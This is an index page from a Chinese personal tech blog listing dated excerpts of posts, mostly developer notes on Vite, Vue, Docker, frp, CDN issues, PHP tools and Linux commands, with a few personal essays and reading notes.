2023-05-24拼多多服务商应用开发,相关笔记开发文档:https://open.pinduoduo.com/application/document/browse?idStr=04DD98845AD2977D 拼多多服务商应用发布要求必须使用多多云的云服务器、数据库、Redis等 拼多多提供了一些可选的自带运行环境的容器。 购买的云实例操作起来,限制比较多。可以上传源代码、通过特定的方式修改配置文件以及连接web shell。 每次容器重启
-
2022-11-14记录使用腾讯云CDN后产生的几个问题。腾讯云 CDN 节点默认连接超时5s,接收超时10s。 简单的说明一下就是请求时间超过10s,不管有没有响应,这个连接都会被重置(中断响应)。 根据实际业务中遇到过的的问题,总结如下: 假设我有一个必须同步等待响应结果的请求,它的处理时间超过了10s,它在超过10s后会被cdn直接重置,客户端会提示请求失败,连接已被重置。 所以超过10s的请求,不能使用cdn。翻了一下文档,也没看到可以调整这个时
-
2022-01-13工作记录,使用Uniapp开发移动应用项目需求:录制视频和语音,在app页面的上半部分实时显示。下半部分显示文字提示,提醒用户回答确认。最后将录制的视频提交到服务器保存。 安装 :https://developer.android.google.cn/,作为开发过程中App的调试工具。(Android Studio基于IntelliJ Platform)。 插件市场搜索不到中文插件,手动下载:https://plugins.jetbr
-
2024-06-28Vite如何自动导入指定目录内的静态资源文件,并生成导出模块?上一次详细学习Vite的文档的时候还是Vite2.x,现在Vite已经到了Vite5,在此期间已经有了很多新的变化和特性,刚好今天抽空重新学习一下。 Vite 不再支持 Node.js 14 / 16 / 17 / 19,因为它们已经到了 EOL。现在需要 Node.js 18 / 20+。 查看Vite预设的各种开发模板:https://github.com/vitejs/vite/tree/m
-
2023-04-21如何使用frp搭建内网穿透、TCP/UDP代理、http/https代理、Socks5代理?官方文档:https://github.com/fatedier/frp/blob/dev/README_zh.md、https://gofrp.org/docs/setup/ frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。 frp 主要由 客户端(
-
2023-02-17前后端分离状态下,如何搭建微信公众号网页的本地开发环境?进行微信公众号网页开发的时候,微信平台一般有如下几个要求: 必须是https协议 通过验证的可信域名 开发过程中一般有如下几个需求: 本地开发,正常调用微信API,实时调试。 和正常浏览器一样的开发体验。 构建工具都自带了web服务器,但是对于配置https以及自定义域名不是很友好。所以一般通过反向代理来实现自定义域名以及https: 假设开发服务器地址为:http://192.168.2.3:8
-
2023-02-10如何通过PHP打包Git版本库中两个版本之间的差异文件?PHP作为脚本语言,很多时候我们更新程序都只需要把修改过的文件重新上传覆盖一下就行。 通过Git Diff命令可以识别出所有被修改的文件,把这些文件的路径信息提交给PHP CLI脚本,然后由PHP进行压缩。 <?php /* * @author 爱心发电丶 * 打包git diff 之后的文件 * */ include_once __DIR__ . '/vendor/autoload.php
-
2021-08-12VBA编写笔记:常用的对象和方法如果启用屏幕更新,则该属性值为 True。Boolean 类型,可读写。 关闭屏幕更新可加快宏的执行速度。这样将看不到宏的执行过程,但宏的执行速度加快了。 当宏结束运行后,请记住将 ScreenUpdating 属性设置回 True。 返回一个 FileDialog 对象,该对象表示文件对话框的实例 返回一个 String,提供有关变量的信息。 TypeName(varname),必要的 varn
-
2022-02-25开车有哪些技巧和需要注意的地方?持续记录记录一下常见的开车场景,以及操作技巧 车身距离障碍物1m以上,后视镜和障碍物对齐时打满方向盘即可 车身距离障碍物0.5m以上,车窗中间和障碍物对齐时打满方向盘即可 车身距离障碍物贴近后视镜时,车身B柱和障碍物对齐时打满方向盘即可 侧方位出库:看到前车后保险杠上沿时,方向盘打满可安全出库 P挡:P挡是汽车变速箱中的一个挡位,全称为“Parking Gear”(停车挡),它的作用是将车辆固定在停车状态
-
2023-02-05密码保护:情感综合分析,以及一些思考点。这是一篇受保护的文章,输入密码后才能查看哈无法提供摘要。这是一篇受保护的文章。
-
2023-08-18GoProxy使用记录,记录一些常见的用法GoProxy是一款功能强大、性能高效、易于使用的代理服务器,适用于各种场景下的代理需求。 项目地址:https://github.com/snail007/goproxy 中文文档:https://github.com/snail007/goproxy/blob/master/README_ZH.md#%E6%89%8B%E5%8A%A8%E5%AE%89%E8%A3%85-goproxy 其它
-
2022-09-24如何让WordPress的所有请求只需要通过Nginx处理,不经过PHP和Mysql,从而加快站点访问速度?wordpress响应请求大致分为如下几个过程: Nginx接收请求 -> php-fpm进程运行指定php脚本 -> php在mysql内查询相应数据 -> 处理返回给Nginx -> Nginx响应用户请求 因为不存在缓存的过程,所以每次处理请求都要重新查询数据库,所以wp有很多流行的静态缓存方案; 初次请求 -> Nginx接收请求 -> php-fpm
-
2022-01-07日常生活,记录那些有趣的话,持续记录因为刚才 我突然看见你,我觉得有点心动,这是很久没有的感觉,我怕错过这个机会,所以我头脑一热,就上来了。 玫瑰到了花期,我很想你。 风里已经有秋天的味道了,我想你了。 狗听了都摇头 要不要买衣服?今天上街看到很多人穿得漂漂亮亮,就想到是否你也一样。 就是突然觉得这一刻很美好,忍不住想分享给你。 那输就输呗,你想想你的人生能全部赢吗。 你觉得单身是被迫的还是一种选择?选择,哪有人会被迫单身,说实话,
-
2021-12-06微信小程序学习笔记,持续记录。1. 小程序开发指南(入门必读):https://developers.weixin.qq.com/ebook?action=get_post_info&docid=000ace6c9603786b008636f2e56c0a 2. 完整开发文档:https://developers.weixin.qq.com/miniprogram/dev/framework 3. 小程序全局配置:ht
-
2022-07-08WordPress插件开发,从入门到精通。WordPress主题开发:https://nicen.cn/1244.html WordPress插件开发手册:https://developer.wordpress.org/plugins/ 每次WordPress 网页请求,都会依次执行各种插件的主文件(PluginName.php), 然后才会执行主题的function.php 文件。执行时注册的各种钩子,将会在指定事件发生时触发执行。 W
-
2022-07-02Docker入门到精通,从安装开始,持续记录Docker出来很久很久了,显而易见的很多公司、个人都在使用它,但是我一直没有用它.......大概率是我这水平好像用不上😂😂😂。平常Linux就是直接用lnmp安装脚本、window直接装phpstudy,对于PHP来说,也不算很麻烦。难得一个空闲的周末,总得跟随一下时代潮流.....冲........! 软件开发最大的麻烦事之一,就是环境配置。用户计算机的环境都不相同,你怎么知道自家的软件,能
-
2023-05-30密码保护:工作记录,工作过程中的一些关键点这是一篇受保护的文章,输入密码后才能查看哈无法提供摘要。这是一篇受保护的文章。
-
2023-06-30如何将知乎书城的读书笔记同步到WordPress?一款可以将知乎书城的读书笔记同步到WordPress文章的插件闲来无事的时候喜欢看会书,知乎是平常用的较多的一个自带书城的软件,所以平常看电子书都是用知乎。 知乎的书籍在阅读过程中,可以直接选中某些内容作为笔记。看完一本书之后,很多时候都是靠笔记来回顾整本书的知识点,但是知乎的笔记查询起来,极不方便,再加上平常习惯用Wordpress做笔记,所以就有了将知乎笔记导出的想法。 在对知乎APP进行抓包分析需求的可行性的时候,发现整个需求完全可以实现,于是有了au
-
2021-10-12Windows操作系统安装经验总结硬盘前面固定的存储空间存放引导程序。 开机 -> 启动引导程序-> 引导程序找到活动分区-> 启动引导管理器-> 读取BCD-> 显示引导项-> 开机 bcdedit /enum 固定的EFI分区存放引导程序、以及BCD。 开机 -> 找到EFI分区 -> 启动引导程序 -> 读取EFI分区的BCD -> 显示引导项 -> 开机。
-
2023-04-05通过PM2来管理Node、PHP CLI等脚本应用进程,什么是PM2进程管理器?PM2官网:https://pm2.keymetrics.io/docs PM2.js是一个Node.js应用程序的进程管理器,可以帮助开发人员在生产环境中管理和监控Node.js应用程序或其他程序的进程。它可以自动重启应用程序,监控应用程序的资源使用情况,以及提供实时日志记录和错误处理等功能。此外,PM2.js还可以通过集成的API和CLI工具来管理和监控多个Node.js应用程序。 对于nod
-
2023-08-06如何批量去除代码内的所有注释?Remove.exe批量去除代码注释写注释是一个非常好的习惯,但是某些情况下,我们又不想保留代码里的注释,于是就有了下面这个小软件(大小仅1.6m)。 点击此处下载:https://nicen.cn/collect/remove.exe 一个批量去除代码内所有注释的小工具,支持去除C家族系列的单行和多行注释,比如下面这种: /* 多行注释 */ // 单行注释 双击运行exe文件,将会弹出如下的窗口界面: 点击选择代码目录,选择需要
-
2021-09-25PHP批量压缩整站图片的小工具在保证图片质量的前提下,批量压缩整个网站目录下所有图片的大小。 说明:使用前请先到https://tinypng.com/developers,邮箱注册获取Apikey,每月免费压缩500次(邮箱一大堆换着来就行); 首先点这里(百度网盘)下载PHP脚本,提取码8888,脚本默认是扫描所在目录和所在目录的子目录下的所有图片文件进行压缩。编辑compress.php,找到下面两行代码。 /*设置ke
-
2022-06-19Vite该如何使用?Vite学习笔记,持续记录配置文档:https://cn.vitejs.dev/config/,基于ESM; 插件大全:https://github.com/vitejs/awesome-vite 通过插件支持低版本浏览器:https://github.com/vitejs/vite/tree/main/packages/plugin-legacy Vite使用scss预处理器:npm install sass -D,安装
-
2022-07-27重新理解:什么是页面生命周期API?简而言之,在此之前,Web网页在浏览器内可以无限期地保持运行状态。随着大量网页的运行,内存、CPU、电池和网络等关键系统资源可能会被超额使用,然后就会出问题。 虽然 Web一直有和生命周期相关的事件(例如load、unload和visibilitychange),但这些事件只允许开发人员响应用户发起的生命周期状态变化。为了让Web页面能够更加稳定的运行,浏览器需要一种主动回收和重新分配系统资源的方
-
2022-10-10如何使用acme.sh自动获取、更新Let’s Encrypt的SSL证书?acme.sh实现了acme协议,可以从let's encrypt生成免费的ssl证书。本文主要记录使用dnspod api 自动申请ssl证书 站点HTTPS检测:https://myssl.com/ 打包下载仓库的代码(https://github.com/acmesh-official/acme.sh),上传到服务器(任意自己觉得合适的目录),命令行安装: cd 上传目录 # acmh.sh
-
2022-07-11Git冲突分为哪几种情况?常用解决办法原文:https://www.it610.com/article/1304846442027847680.htm 当远端有更新,本地库没有有变化,拉取操作远端会覆盖本地库(远端版本高于本地) 当远端修改,本地库也有修改,拉取操作会产生冲突文件(远端版本和本地版本冲突) 当本地库修改,而远端没有变化,拉取不会产生变化(本地版本高于远端版本) 当本地库版本低于远端版本,则无法推送,必须先拉取在操作,否
-
2022-07-23Vite4新特性介绍,相较于Vite3有哪些新功能?官方介绍更新日志:https://vitejs.dev/blog/announcing-vite3.html#dev-improvements Github更新日志:https://github.com/vitejs/vite/blob/v4.4.1/packages/vite/CHANGELOG.md Vite 不再支持 Node v12,因为它已经进入了 EOL 阶段。现在你必须使用 Node
-
2022-11-09记录一次访问量瞬间增加,导致请求卡住的问题排查过程2022.11.07号下班路上突然收到许多用户反馈,说小程序进不去了。然后自己试了一下,打开一直转圈,于是快马加鞭赶回家,打开了电脑。 文件收集小程序:帮助用户更加方便的收集各种类型的文件,同时上传之后的文件可以在线预览。 服务器为腾讯云2核4G6M的轻量云,同时还运行着其它的一些服务。 主要消耗的是上行带宽,下行主要消耗来自于文件在线预览,这部分通过内网反代理,由另外一台低配服务器负责。 打开电
-
2021-09-20中秋节回家,待到夜深人静好好睡一觉。假期第一天,坐车回家,下车腿发软、走路飘,头疼一天,晕车这毛病怕是救不了了。 在外面待久了,反而更喜欢一个人在外面的生活。陌生的城市,陌生的人,谁也不用把谁放在心里挂着,也不用担心别人突然闯入自己的生活,不用想着别人怎么看、别人过的好不好,做自己便好。 生活本就有压力,我们的世界没那么大,装不下这么多需要挂念的人。 家是心里的牵挂,无论走到哪,生活有多么不如意,都让我们有个归处。 小外甥女生日,喝
-
2024-01-262023年终总结:这一年发生了很多事情这一年有非常多的事情想写出来,按照以往的习惯,年终总结在12月底就该写完了。 忙忙碌碌,拖拖拉拉,一直到现在,如雨过天晴一般,终于有了一点闲暇的时间来思考一下过去的一年。 上半年的时候换了一份工作,算是这一年来比较大的变化之一。 起初只是觉得生活需要发生一点改变,于是尝试行动了一下。在做出决定之前,我一直觉得这对我来说可能会是翻天覆地的变化,出乎我意料的是之后的面试、离职、入职很自然的就走过来了。
-
2022-11-11如何用JS实现网页上通过鼠标移动批量选择元素?简单说就是类似电脑桌面,通过鼠标选择多个图标的那种效果。如下: 监测外部容器的mousedown、mousemove、mouseup事件来进行选择判断,大致dom结构如下: <div class="test"> <!--鼠标移动时显示的选择框--> <div class="move"></div> <!-- 待选项 --> <div
-
2022-04-19前端Mockjs学习笔记,持续记录相比于自己写一个模拟数据返回的后端接口,好像还是这个来的更加方便。 让前端攻城师独立于后端进行开发。不需要修改既有代码,就可以拦截 Ajax 请求,返回模拟的响应数据。支持生成随机的文本、数字、布尔值、日期、邮箱、链接、图片、颜色等。 基于对window的xhr对象的二次封装,增加了用于拦截的逻辑。 npm install mockjs Mock.setup({ timeout: 400 }) M
-
2022-02-08详细了解 Cookie、Session、Token以及oauth2、jwt很久很久以前,Web 基本上就是文档的浏览而已,既然是浏览,作为服务器,不需要记录谁在某一段时间里都浏览了什么文档。 每次请求都是一个新的 HTTP 协议,就是请求加响应,尤其不用记住是谁刚刚发了 HTTP 请求,每个请求相对来说都是全新的。 但是随着交互式 Web 应用的兴起,像在线购物网站和需要登录的网站等就面临一个问题,那就是要管理会话,必须记住哪些人登录系统,哪些人往自己的购物车中放商品。
-
2022-04-21PHP安装、使用Redis,学习笔记。Redis相关知识:https://www.runoob.com/redis/redis-tutorial.html Github:https://github.com/phpredis/phpredis#close Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)。 string 是 redis 最
-
2021-12-12uniapp开发笔记,持续记录1. 字体图标引入:https://uniapp.dcloud.io/frame?id=%e5%ad%97%e4%bd%93%e5%9b%be%e6%a0%87 2. 条件编译:https://uniapp.dcloud.io/platform 3. NPM的使用:https://uniapp.dcloud.io/frame?id=npm%e6%94%af%e6%8c%81 4. 各种小程序端的类
-
2022-07-30读《你的第一本「初夜」手册:事前准备、临场应对和事后功课》,相关笔记,持续记录• 女生的阴蒂。它在什么位置?就在女生阴道开口的最上面,在比尿道还要靠上的一个位置,就是这个如豌豆大小的区域,是女生全身跟性相关的末梢神经分布最集中的位置。 • 70% 以上的女生都需要刺激阴蒂才能达到性生活的高潮体验,而不是单纯通过鲁莽的阴道活塞运动。阴蒂是一个很重要、能够提升女生性生活快感的区域,但是这个区域本身也非常娇嫩和敏感,有一些女生甚至自己都没触碰过这个区域。所以男生在刚开始性生活时,
-
2022-10-08Typescript学习笔记,从入门到精通,持续记录//安装 npm install -g typescript //编译 tsc hello.ts //初始化 tsc --init Typescript可以理解为带静态类型的Javascript; 布尔值,boolean 数值,number 字符串,string 空值,void 表示没有任何返回值的函数 Null 和 Undefined /* 先声明后使用 */ let a: string; a
-
2022-06-15Vue-Cli该如何使用?Vue-Cli学习笔记,持续记录修改.Env环境变量文件之后,需要重新运行server才会生效。环境变量通过process.ENV访问。可以在项目根目录中放置下列文件来指定环境变量: .env # 在所有的环境中被载入 .local # 在所有的环境中被载入,但会被 git 忽略 .env. # 只在指定的模式中被载入 .env..local # 只在指定的模式中被载入,但会被 git 忽略 以 VUE_
-
2021-09-12Vba实现彻底禁止表格内容复制,表格到期自动删除直接选择单元格进行复制。 复制表格到新的或者空白的工作簿 另存为其他格式表格 将所有表格的Visible属性设置为完全不可见,编写表格打开事件代码,打开时自动显示表格。不运行Vba时只显示空白表格。 Vba工程资源设置密码。 退出表格时将所有数据表改为完全不可见。 打开时调用工作簿结构保护,退出时解锁隐藏所有表。 编写表格选择事件,让只有指定范围的单元格才能被选中。 编写定时任务,以1秒一下
-
2022-06-19Vue2.x中使用composition API,平滑过渡Vue3Vuejs官方出品:https://github.com/vuejs/composition-api/blob/HEAD/README.zh-CN.md 基于组合式API的一组实用函数:https://vueuse.org/guide/ npm install @vue/composition-api -D import Vue from 'vue' import VueCompositionAP
-
2022-06-20Ant Design Vue自定义主题失效解决办法antd 的样式使用了 Less 作为开发语言,并定义了一系列全局/组件的样式变量,可以根据需求进行相应调整 。 @primary-color: #1890ff; // 全局主色 @link-color: #1890ff; // 链接色 @success-color: #52c41a; // 成功色 @warning-color: #faad14; // 警告色 @error-color: #f5
-
2022-04-23Vue-Router多级路由时,父组件重复加载的问题。代码中使用了两层路由,并且每层路由都使用了keep-alive,App.vue内初始代码如下: <router-view v-slot="{Component}"> <keep-alive> <component :is="Component" :key="$route.name"/> </keep-alive> </router-view&g
-
2023-04-01前端Server-Sent Events、EventSource接口相关知识点总结,什么是EventSource?转自:http://www.ruanyifeng.com/blog/2017/05/server-sent_events.html 严格地说,HTTP 协议无法做到服务器主动推送信息。但是,有一种变通方法,就是服务器向客户端声明,接下来要发送的是流信息(streaming)。 也就是说,发送的不是一次性的数据包,而是一个数据流,会连续不断地发送过来。这时,客户端不会关闭连接,会一直等着服务器发过来
-
2022-01-07《千锋最新前端webpack5》学习笔记,持续记录视频地址:https://www.bilibili.com/video/BV1YU4y1g745 webpack文档:https://webpack.docschina.org/concepts/ 了解一下CMD模块化规范。(module.export={}相关规范) Require.js不通过config方法配置模块路径时,也可以做require时指定完整的引入路径(require(
-
2022-05-21PHP解析Xml:SimpleXML类学习笔记SimpleXML 是 PHP 5 中的新特性。SimpleXML 扩展提供了一种获取 XML 元素的名称和文本的简单方式。与 DOM 或 Expat 解析器相比,SimpleXML 仅仅用几行代码就可以从 XML 元素中读取文本数据。SimpleXML 可把 XML 文档(或 XML 字符串)转换为对像; 元素被转换为 SimpleXMLElement 对象的单一属性。当同一级别上存在多个元素时
-
2021-09-26Google Chrome Headless (网页保存为PDF、网页截图)yum install https://dl.google.com/linux/direct/google-chrome-stable_current_x86_64.rpm google-chrome --headless --disable-gpu --no-sandbox --print-to-pdf=gen.pdf http://www.google.com google-chrome --
-
2022-10-17【转/九边】一个孤立的系统不持续输入能量都是死路一条。原文:《向上生长》,作者:@九边,作家、自媒体人、某世界500强企业高管。 有个定律叫「热力学第二定律」,如果之前没听说过这个定律,也别慌张,这个定律是自然界最普遍的一个定律,以至于这种定律在哪里都存在。 说的是一个孤立的系统不持续输入能量都是死路一条。 比如一个炉子里不添加柴火,人不吃饭,绿洲没有雨水,系统会迅速坍塌,最后会变成一种稳定的低活跃状态,灰烬,死亡,沙漠。 所有系统都有一种自毁趋势,
-
2022-04-06前端自适应方案总结,前端最佳自适应方案我们看到的每个屏幕都是由一颗颗我们肉眼难以看到的小颗粒(物理像素)组成的。 是计算机坐标系统中的一个点,这个点代表一个可以由程序使用的虚拟像素(比如说CSS像素)。一个CSS像素对应多少个设备像素是根据当前的缩放比例 12px对应36px,缩放0.5,12px对应18px。扩大2.0,12px对应72px。 它的数值体现了物理像素和逻辑像素之间的关系,用公式可以计算出该设备的DPR的大小: DPR
-
2022-07-03记录Docker使用过程中遇到的难点和问题Docker 将应用程序与该程序的依赖,打包在一个文件里面。运行这个文件,就会生成一个虚拟容器。程序在这个虚拟容器里运行,就好像在真实的物理机上运行一样。有了 Docker,就不用担心环境问题。 被打包的程序可以是一个操作系统,也可以是Nginx应用,也可以是PHP等任意一种“程序”,打包之后的镜像可以在任意一台安装了Docker的主机上,完美的运行。 多个容器可以和不使用容器的应用一样,相互进行
-
2023-04-22Linux screen命令的作用是什么?screen命令该如何使用?参考文档:https://wangchujiang.com/linux-command/c/screen.html Screen 是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。 只要Screen本身没有终止,在其内部
-
2021-11-05Es6学习笔记,持续记录解构:https://www.runoob.com/w3cnote/deconstruction-assignment.html ES6 提供了新的数据结构 Set。它类似于数组,但是成员的值都是唯一的,没有重复的值。Set本身是一个构造函数,用来生成 Set 数据结构。 const s = new Set(); .forEach(x => s.ad
-
2022-01-05咳咳。2021年终总结,2022年度目标青年危机(什么是青年危机)约摸着是过去了😂。 漫漫人生路,往后的日子不敢说光明,至少有着自己的方向,能为之坚持、努力(并不是吹哦😁)。 坚持每天跑步三公里,坚持锻炼(基本达成) 坚持学习新技术,掌握新技术(基本达成) 坚持看书,记录自己的阅读心得(断断续续) 存钱,存钱,存钱(&*&%*MMP#@%) 学做菜、自己做饭(磕磕碰碰) 早睡早起,干净整洁(完成了一半:早起) 坚持写博客
-
2021-09-26Swoole 学习:协程、线程、IO多路复用、PHP多进程。回顾自己学的操作系统原理,线程分为系统级线程和用户级线程(线程是调度单位、进程是资源分配单位) 系统级:调度由操作系统控制,线程之间的切换是系统层面; 用户级:程序内的类似老大一样的程序控制着所有的线程,切换是在程序内完成,相比系统级的线程切换更快,基本不消耗资源; 不同在哪呢?系统级线程的分配的时间片(由操作系统分配的运行时间)是1比1的,创建10个就是10个量级。用户级线程则是共享着所属进程的
-
2022-01-09【转】如何正确理解前后端分离?资料来源:https://www.zhihu.com/question/267014376/answer/444793972 一种可以称之为是服务器端渲染,一种是叫做前后端分离。 服务器端渲染的方式,是指在服务器端就将网页直接生成,浏览器这里拿到的是一整个网页,CSS和JS的部分是在浏览器端执行的,而网页的内容部分,也就是数据,是由服务器端生成的。 这叫做服务器端渲染。 只要你的Html网页的内容
-
2022-08-20PHP和JS的条件判断和循环有哪些不同的地方?在PHP的代码内,空数组等同于false,一直以为同样作为c家族系列的javascript也是这样。 某次程序怎么运行都不对,排查了之后,最后发现js的空数组等于true; 之后思考了一下,js中的数组本质是Array对象,空数组本质就是对象;只要是实例化的对象,那就是true; <?php if(){ echo "true"; }else{ echo "false"; } //最终输出
-
2022-06-15使用PHPStorm自带的Git版本控制,出现Git.exe占用内存过高今天发现使用PHPstorm自带的Git操作,Git会占用很高的内存,而禁用之后,使用终端操作,Git基本不占内存... 这应该是一直存在的问题,以前没有发现,虽然启用了自带的Git版本控制功能,但实际上一直用的命令行... 进入PHPStorm,一切正常;此时Git版本控制已启用,点击上方菜单,VSC-更新项目 然后就变成了,这样: 然后把PHPstorm自带的Git插件禁用了,再打开PHPst
-
2022-05-09HTML DOM的各种宽高、偏移位置的属性总结兼容性:All; 指的是元素的可视部分宽度和高度,即padding+content,如果没有滚动条,即为元素设定的高度和宽度,如果出现滚动条,滚动条会遮盖元素的宽高,那么该属性就是其本来宽高减去滚动条的宽高,包含内边距,但不包括水平滚动条、边框和外边距。 测量包含元素的边框(border)、水平线上的内边距(padding)、竖直方向滚动条(scrollbar)(如果存在的话)、以及CSS设置的宽
-
2022-01-23虎年年会抽奖网页源码分享年会抽奖程序,乐呵乐呵哈。 抽奖名单在`js/member.js`里。 抽奖之后会动态更新中奖人员名单。 演示地址:year.nicen.cn 代码做了全面注释,使用到的js文件说明如下: 1. 词云插件 tagcanvas.js:https://www.goat1000.com/tagcanvas.php 2. Vue.js:https://cn.vuejs.org 3. zepto.js:功能
-
2022-10-16如何使用PHP+WebHook自动同步Gitee、Github仓库内的代码到服务器?本文以Gitee作为演示,Github实现步骤是一样的,区别在于二者WebHook推送的数据有所区别。 WebHook 功能是帮助用户 push 代码后,自动回调一个您设定的 http 地址。 这是一个通用的解决方案,用户可以自己根据不同的需求,来编写自己的相关程序。 远程仓库接收到Push推送,触发WebHook向接口推送更新的消息; 服务器接口接收到推送的更新消息,提取仓库地址、分支名、仓库名
-
2023-06-14一款基于Vue3 + Vite + Ant Design Vue 开发的,简洁、方便的后台开发模板一个基于vue3 + Vite + Ant Design Vue 开发的,简洁、方便的后台开发框架; 在线示例: admin.nicen.cn ,账号密码随意,无后台,纯前端mock。 Github:https://github.com/friend-nicen/vue-nice-admin Gitee:https://gitee.com/friend-nicen/vue-nice-admin 演
-
2021-07-28当鼠标按下时拖动元素,简单的JS实现监听需要移动元素的键盘按下、松开事件和文档对象的鼠标移动事件, 通过一个布尔值作为是否移动的标志,按下时为TRUE,代表跟随移动,鼠标松开为FALSE,代表不跟随移动,鼠标移动时改变元素偏移量。 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="
-
2022-01-12Element-UI、Element-Plus 使用笔记,记录问题。原项目是基于require.js来加载模块的,增加新功能的同时想使用流行一点的组件(Element)和Vue;本身这两个库就是支持Require.js的,不多说直接开干。 一开始,是这样的: require(
-
2022-12-10【转】HTML5中手势原理分析与数学知识的实践在这触控屏的时代,人性化的手势操作已经深入了我们生活的每个部分。现代应用越来越重视与用户的交互及体验,手势是最直接且最为有效的交互方式,一个好的手势交互,能降低用户的使用成本和流程,大大提高了用户的体验。 拖动: drag 双指缩放: pinch 双指旋转: rotate 单指缩放: singlePinch 单指旋转: singleRotate 长按: tap 滑动: swipe 所有的手势都是基
-
2022-10-09React 学习笔记,从入门到精通,持续记录相关书籍:https://www.zhihu.com/pub/book/119565131 React Native:https://github.com/reactnativecn/react-native-guide Create React App:https://create-react-app.dev/ 最简易的 React 示例如下: const root = ReactDOM.cr
-
2021-11-04PHP允许前端跨域请求的相关请求头设置、文件下载CORS 请求分成两类:简单请求(simple request)和非简单请求(not-so-simple request)。 PHP中的 header 函数用于设置响应头。 当POST数据为JSON,必须允许请求头才能跨域访问,因为Content-type:application/json; 默认是不允许跨域的。 header('Access-Control-Allow-Origin: *');
-
2021-09-29JS学习笔记,持续记录回调函数内的this指向了dom对象本身,注意JQ的内存问题,删除dom时自定义的事件会继续存在。 $(".select li").click(function (event){ $(".select li").removeClass("current"); $(event.target).addClass("current"); }) $(".btn").click(function(e){ /
-
2023-10-21Linux Rsync命令的使用方法以及应用场景Github:https://github.com/WayneD/rsync Rsync(Remote Sync)是一个用于文件同步和备份的开源工具。它可以在本地系统之间或本地系统与远程系统之间同步文件和目录。 在大多数常见的Linux发行版中,都没有默认安装rsync。 sudo apt-get install rsync sudo yum install rsync 一些常见的使用场景包括:
-
2022-05-20SVG学习笔记,持续记录。SVG是一种用XML定义的语言,用来描述二维矢量及矢量/栅格图形。SVG提供了3种类型的图形对象:矢量图形(vectorgraphicshape,例如:由直线和曲线组成的路径)、图像()、文本(text)。图形对象还可进行分组、添加样式、变换、组合等操作,特征集包括嵌套变换()、剪切路径()、alpha蒙板()、滤镜效果()、模板对象()和其它扩展()。 SVG 是使用 XML 来描述二维图形和绘
-
2022-10-05Node Puppeteer 该如何使用?相关知识点总结Puppeteer 是 Chrome 开发团队在 2017 年发布的一个 Node.js 包,用来模拟 Chrome 浏览器的运行。 中文文档:https://puppeteer.bootcss.com/ CDP 基于 WebSocket,利用 WebSocket 实现与浏览器内核的快速数据通道 CDP 分为多个域(DOM,Debugger,Network,Profiler,Console...)
-
2021-12-17Vue开发、学习笔记,持续记录Vue每天学一些,慢慢的也学下来了。记一些笔记 生命周期图:https://nicen.cn/collect/life.png Vue-Router学习:https://nicen.cn/vue-router.html Vue官网: https://vuex.vuejs.org/zh/ 基于Vue的各种UI库 Vuetify :https://vuetifyjs.com/zh-Hans Eleme
-
2021-10-05css学习笔记,持续记录。1. 通配符选择器: *{...}; 选择所有元素; 2. HTML标签选择器:p{...} 、#p{...}、.p{...}; 选择指定的所有标签,指定id,指定类的所有标签; 3. 类选择器选择有特定 class 属性的 HTML 元素,如需选择拥有特定 class 的元素,请写一个句点(.)字符,后面跟类名。选择所有具有 class="center" 的 <p> 元素:p.c
-
2023-03-31微信机器人Wechaty学习笔记,如何使用微信机器人Wechaty?Wechaty,大名鼎鼎的微信机器人库:https://github.com/wechaty/wechaty、https://wechaty.js.org/ 中文文档:https://wechaty.gitbook.io/wechaty/v/zh/ Web Windows iPad 根据不同的Puppet Provider可以切换不同的协议实现,相关文档:https://github.com/we
-
2022-10-11Golang学习笔记,从入门到精通,持续记录Golang官网:https://go.dev/、Golang下载:https://go.dev/、Golang学习文档:https://go.dev/doc/ Go标准库文档:https://pkg.go.dev/std Golang标准库中文文档:https://studygolang.com/pkgdoc Go(又称 Golang)是 Google 的 Robert Griesemer,Ro
-
2023-03-18Web前端如何实现录像功能?如何将canvas录制为视频?WebRTC有哪些功能?WebRTC功能相关的一些例子:https://webrtc.github.io/samples/ WebRTC相关的API:https://developer.mozilla.org/zh-CN/docs/Web/API/WebRTC_API MediaDevices.getUserMedia() 会提示用户给予使用媒体输入的许可,媒体输入会产生一个MediaStream,里面包含了请求的媒体类
-
2023-02-06组织架构设计、角色与权限设计的一些思考查询某个组织下面的所有用户(包括所有下级组织) 查询某个组织下面的所有下级组织 查询用户所在的组织 获取整个组织结构,方便生成树形数据结构 相关的必要字段如下: id,主键ID pid,父级组织id tree,当前节点的所有父级组织,假设当前组织的父级id为2,2的父级id为1,则tree的值为:1,2 相关的必要字段如下: department,所在的组织id。 SELECT * FROM `d
-
2023-06-06《操作系统原理》学习笔记,多进程和多线程的优缺点?IPC进程间通信的方式?每个处理器都有自己的指令系统(指令集),处理器的物理组成如下: 运算器:实现任何指令的算数和逻辑运算,是计算机计算的核心。 控制器:负责控制程序运行的流程,包括取指令,维护CPU的运行状态,CPU与内存的交互。 寄存器:是指令在CPU内部运算过程中存放数据、内存地址以及指令信息的存储设备,在计算机存储系统中具有最快的存储速度。 高速缓存:处于CPU和物理内存之间,用户多级存储结构,均衡CPU和内存
-
2022-01-26前端节流(throttle)和防抖动(debounce)节流指的都是某个函数在一定时间间隔内只执行第一次回调。举个常见的节流案例:我们把某个表单的提交按钮——button 设成每三秒内最多执行一次 click 响应;当你首次点击后,函数会无视之后三秒的所有响应;三秒结束后,button 又恢复正常 click 响应功能,以此类推。 有什么用呢?通常,这类提交 button 的@click响应会给后端发送 api 请求,频繁的点击意味着频繁的请求(流量)
-
2021-10-12爬虫实战笔记:没有什么网站是不能爬的!通过Chrome的开发者工具Network,筛选ws,找到websocket的连接,进行第一步 分析。 待续............ 这个都懂,咱就不说了,有些反爬验证实在是反人类哈。 这个好用确实好用:真实的浏览器环境、真实的操作........ 就是效率确实不敢恭维。 因为一切都在真实的环境和网站上进行,很多常规的爬虫操作都不用考虑,只要考虑以下几点: 如何减少内存消耗,提升效率; 如何通过
-
